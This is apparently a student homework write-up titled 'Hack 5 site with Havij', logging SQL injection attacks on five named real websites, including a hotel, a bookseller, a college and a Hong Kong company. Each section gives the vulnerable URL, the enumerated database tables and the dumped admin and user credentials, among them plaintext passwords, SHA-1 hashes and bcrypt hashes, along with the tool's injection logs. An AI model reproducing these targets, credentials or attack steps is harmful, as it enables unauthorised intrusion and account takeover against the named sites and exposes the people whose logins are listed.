

# Home Work-2 Hack 5 site with Havij

Full Name- Md. Azizul Hoque

Username- ahroonny

1. [https://www.jb.com.np/gallery\\_detail.php?id=9](https://www.jb.com.np/gallery_detail.php?id=9)

The screenshot displays the Havij tool interface. The target URL is `http://www.jb.com.np/gallery_detail.php?id=9`. The tool has successfully enumerated the database structure, showing a table named `md_users` with columns `user_pass`, `user_id`, and `user_name`. The data found is as follows:

user_pass	user_id	user_name
josh&bbhandary34...	6	admin
prabin	7	prabin
manmohan	8	manmohan
subarna	9	subarna
sajani	10	sajani
sareena	11	sareena
brajesh	12	brajesh
shreejan	13	shreejan
saroj	14	saroj
anjan	15	anjan

The status bar indicates "I'm IDLE" and the log shows the following data found:

```
Data Found: user_id=16
Data Found: user_name=shristi
Data Found: user_pass=surendra
Data Found: user_id=17
Data Found: user_name=surendra
Data Found: user_pass=susheela
Data Found: user_id=18
Data Found: user_name=susheela
```

2. <http://www.embryohotel.com/room-detail.php?id=1>

Target: <http://www.embryohotel.com/room-detail.php?id=1>

Keyword: Auto Detect Syntax: Auto Detect

Data Base: Auto Detect Method: GET Type: Auto Detect

Tables:

- room\_option
- room\_image
- room
- news
- local\_area
- image
- contact
- admin
  - permission
  - last\_update
  - last\_insert
  - password
  - username
  - id

Get Data Results:

id	password	usern...
1	e742c63f03ab602f2b384...	admin
2	8988c8cb582506f93b59...	ARMERX

Status: 1m IDLE

Log:

```
Data Found: password=8988c8cb582506f93b59b794af7212cb5406dfcf
Count(*) of cp227754_embryohotel_db.admin is 2
Data Found: id=1
Data Found: password=e742c63f03ab602f2b38433ff28b5145ba1332d
Data Found: username=admin
Data Found: id=2
Data Found: password=8988c8cb582506f93b59b794af7212cb5406dfcf
Data Found: username=ARMERX
```

3. [https://www.aagambooks.com/book/book.php?id=12&subject\\_id=1](https://www.aagambooks.com/book/book.php?id=12&subject_id=1)

Target: <https://www.pupilbooks.in/book/subject.php?id=12&classid=2>

Keyword: Auto Detect Syntax: Auto Detect

Data Base: Auto Detect Method: GET Type: Auto Detect

Tables:

- nei\_godowns
- nei\_download
- tbl\_faqs
- nei\_subject\_n
- tbl\_lessonplan
- tbl\_logs
- tbl\_admin\_users
  - v
  - t\_createTimeStamp
  - v\_email
  - v\_password
  - v\_fullname
  - v\_username
  - tbl\_worksheet

Get Data Results:

v_username	v_password
jitin	jitin
jitin jain	jitin
webmaster	jitin

Status: 1m IDLE

Log:

```
Column Data: jitin
Data Found: v_password=jitin
Column Data: webmaster
Data Found: v_username=webmaster
Column Data: jitin
Data Found: v_password=jitin
```

4. <http://nsrit.edu.in/virtual.php?id=2>

Target: `http://nsrit.edu.in/virtual.php?id=2`

Keyword: `Auto Detect` Syntax: `Auto Detect`

Data Base: `Auto Detect` Method: `GET` Type: `Auto Detect`

password	username
<code>\$2y\$10\$RjypIqPwVxVoWd51...</code>	<code>\$2y\$10\$RjypIqPwVxVoWd51...</code>
<code>\$2y\$10\$FFWFOx4NH0DV1tVB...</code>	<code>\$2y\$10\$FFWFOx4NH0DV1tVB...</code>
<code>\$2a\$10\$fjG1QDw4EZLM3dze...</code>	<code>\$2a\$10\$fjG1QDw4EZLM3dze...</code>

Status: I'm IDLE

```
Columns found: id,username,password,r_id,c_id,status
Count(*) of nsrit.user is 3
Data Found: id=2
Data Found: password=$2y$10$RjypIqPwVxVoWd51qhXieS.30LLIUfBfJzAcP.gK1/.gFQ309COC
Data Found: id=3
Data Found: password=$2y$10$FFWFOx4NH0DV1tVB2zotLQOgyuLNounjBPRsoycdIorXNmKy776
Data Found: id=10
Data Found: password=$2a$10$fjG1QDw4EZLM3dzemo2xiuNIG8vg8dawgtwAwtQN1iMpvMnH7Moy
```

## 5. <http://www.itopia.com.hk/eng/business.php?id=11>

Target: `http://www.itopia.com.hk/eng/business.php?id=11`

Keyword: `Auto Detect` Syntax: `Auto Detect`

Data Base: `Auto Detect` Method: `GET` Type: `Auto Detect`

usersName	usersPassword
<code>admin</code>	<code>password</code>

Status: I'm IDLE

```
Current DB: itopia_index
Count(table_name) of information_schema.tables Where table_schema=0x6974667069615f696e646578
Tables found: abusiness,category,companynews,highlights,industrynews,recruitment,users
Count(column_name) of information_schema.columns Where table_schema=0x6974667069615f696e64
Columns found: idusers,usersName,usersPassword,enable
Count(*) of itopia_index.users is 1
Data Found: usersName=admin
Data Found: usersPassword=password
```